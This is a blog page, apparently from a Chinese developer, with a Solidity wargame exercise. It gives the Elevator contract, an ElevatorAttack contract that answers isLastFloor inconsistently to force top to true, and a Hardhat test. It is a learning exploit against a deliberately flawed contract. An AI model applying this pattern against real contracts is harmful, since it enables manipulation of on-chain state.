- 浏览: 768057 次
- 性别:
- 来自: 深圳
文章分类
- 全部博客 (1045)
- 数据结构 (36)
- UML与设计模式 (42)
- c++ (87)
- rust (36)
- Qt (41)
- boost模板元编程 (43)
- Linux (77)
- 汇编 (4)
- 其它 (2)
- 烹饪 (3)
- unix c / socket (73)
- 软件工程 (4)
- shell (53)
- Python (37)
- c++ primer 5th(c++11) (22)
- 数据库/MySQL (27)
- 数据存储 (4)
- lisp (7)
- git (4)
- Utility (3)
- CDN与DNS (54)
- Http (53)
- php (7)
- nginx/lua/openresty (41)
- redis (11)
- TCP/IP (16)
- 互联网 (6)
- kernel (2)
- go (34)
- 区块链 (43)
- 比特股 (13)
- 以太坊 (23)
- 比特币 (23)
- 密码学 (10)
- EOS (53)
- DAG (1)
- docker (1)
- filecoin (7)
- solidity (65)
- ipfs (8)
- 零知识证明 (1)
- openzeppelin (3)
- java (1)
- defi (7)
- Ton (0)
最新评论
Elevator.sol
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function test(uint256 _floor) public{ console.log("test"); } function goTo(uint256 _floor) public { Building building = Building(msg.sender); if(!building.isLastFloor(_floor)) { console.log("go"); floor = _floor; top = building.isLastFloor(floor); console.logBool(top); } } }
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; import "./Elevator.sol"; contract ElevatorAttack { uint floor; function isLastFloor(uint256 _floor) external returns (bool){ console.log("inherit"); if(floor==_floor){ return true; } floor = _floor; console.log("isLastFloor"); return false; } function attack(address addr) external{ //创建新合约 Elevator elevator = new Elevator(); elevator.goTo(10); } }
const { expect } = require("chai"); const { ethers } = require("hardhat"); contractName = "Elevator"; attackContractName = "ElevatorAttack"; describe(contractName, function () { it("test ", async function () { const Contract = await ethers.getContractFactory(contractName); const contract = await Contract.deploy(); const AttackContract = await ethers.getContractFactory(attackContractName); const attackContract = await AttackContract.deploy(); await attackContract.attack(contract.address); }); });
发表评论
-
TypeError:ethers_1.getAddress
2024-04-29 10:45 320package.json 添加:"@nomicfou ... -
solidity
2023-02-25 14:23 12一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 11一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 288一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
Address
2023-02-23 10:54 5// contracts/Box.sol // SPDX ... -
Address
2023-02-23 10:50 251// contracts/Box.sol // SPDX ... -
Beacon
2023-02-20 11:45 259Beacon a.Implementation地址并不存放在P ... -
UUPS
2023-02-17 16:16 290a.Proxy直接把所有的请求都通过delegatecall丢 ... -
Transparent
2023-02-16 15:44 240Transparent: a.如果Proxy合约发现自己被Pr ... -
string转bytes
2023-02-16 11:04 312const data = Buffer.from(''); ... -
hardhat命令
2023-02-13 09:58 3711.前置准备,运行一个新项目 mkdir my-project ... -
multicall
2023-01-31 20:11 203multicall的solidity调用与ethers.js调 ... -
检查是否是721
2023-01-31 15:18 168// SPDX-License-Identifier: M ... -
EVM操作码
2023-01-25 10:33 3162.栈和内存操作码 2.1 POP:取出栈顶元素 2.2 PU ... -
计算合约地址
2023-01-19 11:27 263EVM会根据发送者地址和nonce经过RLP编码后再进行kec ... -
标准修饰符
2023-01-18 17:03 1741.internal:类似c++中的protected,通过J ... -
ABI编码函数
2023-01-17 10:40 3221. abi.encode()returns(bytes):对 ... -
数据位置
2023-01-17 10:24 1941.函数参数包括返回的参数默认是memory 2.局部变量默认 ... -
随机数
2023-01-17 10:06 224https://www.paradigm.xyz/2023/0 ... -
extcodesize
2023-01-16 11:16 310extcodesize取出的byte code长度,若长度大于 ...
相关推荐
algorithm that has been designed by ThyssenKrupp Elevator Company for the express purpose of evacuating mid to high rise buildings and demonstrates the reduced time of egress as opposed to traditional...
标题中的“elevator NuSMV 建模 模型检测 电梯”表明这是一个关于使用NuSMV工具对电梯系统进行建模和模型检测的项目。NuSMV是一款功能强大的模型检查器,它支持SMV(Structured Model Verifier)语言,用于形式化...
var elevator = new Elevator({ mainAudio: '/src/to/audio.mp3', endAudio: '/src/to/end-audio.mp3' }); } // You can run the elevator, by calling. elevator.elevate(); [removed] ...
【标题】"赵昊伟_C语言学习电梯程序Elevator"是一个C语言编写的电梯控制模拟程序,旨在帮助学习者理解并实践C语言编程以及多线程、条件变量等概念在实际问题中的应用。 【描述】这个项目可能包含了电梯运行逻辑的...
2. **面向对象编程**:电梯系统的设计基于面向对象的原则,包括类的定义(如Elevator、Floor和Passenger),以及对象的实例化和方法调用。例如,电梯类可能包含上升、下降、开门和关门等方法。 3. **多线程**:为了...
elevator.exe
在“Elevator_new”程序中,开发者可能使用了Windows Forms控件来构建电梯模拟的界面,如按钮、文本框和标签,以展示电梯的状态和楼层信息。 3. **自定义Delay函数**:在描述中提到,程序没有使用内置的`Timer`组件...
在电梯仿真中,C++被用来定义类(如Elevator、Floor)来表示电梯和楼层,以及处理这些对象的方法(如openDoor、closeDoor、moveTo等)。 二、多线程 电梯仿真通常涉及多线程编程,因为电梯系统中电梯和楼层的操作是...
电梯群控系统服务质量和运行效能评估软件设计与实现 建立了电梯客流到达模型,然后建立了6种电梯群调度模型
在这个“java-elevator.rar_elevator_java elevator_java-elevator”项目中,开发者通过Java语言来实现了一个电梯模拟系统,旨在帮助学习者理解和实践这些关键的Java特性。 首先,我们要理解电梯的基本工作原理:...
标题中的“159-Elevator Display_elevator_bascomavr_”表明这是一个关于电梯显示系统的项目,使用了Bascom AVR编程语言。Bascom AVR是一种基于Basic语法的微控制器编程工具,专为AVR系列微处理器设计,常用于嵌入式...
本文将深入探讨一个名为"my_ELEVATOR.rar_elevator_my_ELEVATOR_双电梯_电梯 双_电梯模拟界面"的项目,这是一个专为电梯控制系统设计的双电梯模拟软件。这个软件的开发者通过交互式的按键界面和状态栏,成功地模拟了...
python库,解压后可用。 资源全名:stix2_elevator-1.0.0-py2.py3-none-any.whl
this is the java code for elevator which can be applied on elevator operation.
this is a elevator simulator,winform,csharp,and ds
标题“Active guiding and balance for a elevator”涉及到的是一项关于电梯技术的专利,主要关注的是超速电梯的主动控制系统,旨在解决电梯运行中的振动问题,提高乘客的舒适度和电梯系统的稳定性。这一技术对于...
标题“evaluacion flores guido_elevator_”暗示了一个关于电梯控制系统的评估或项目,可能是一个编程任务或课程作业,由Guido Flores完成。描述中的“deber de programación número o3”进一步确认这是一个编程...
标题“extrapoint_01_programma_heading1qr_andisable_elevator_disable_pe”暗示这是一个关于为残障人士设计电梯控制程序的大学项目。这个项目可能涉及到编程、无障碍设施设计以及电子工程领域,尤其是针对特殊群体...
本文将深入探讨"EE.rar_elevator_汇编电梯_电梯ee02_电梯汇编"这个压缩包中的知识点,主要围绕电梯的汇编语言编程进行讨论。 首先,汇编语言是计算机编程的基础语言之一,它直接对应于机器指令,程序员通过汇编语言...
在本项目"电梯.rar_elevator_电梯"中,我们关注的是一个针对六层楼电梯的控制程序,主要使用C++语言编写。这个程序旨在模拟真实世界中的电梯操作,包括接收乘客请求、调度电梯移动以及在各个楼层停靠。 1. **电梯...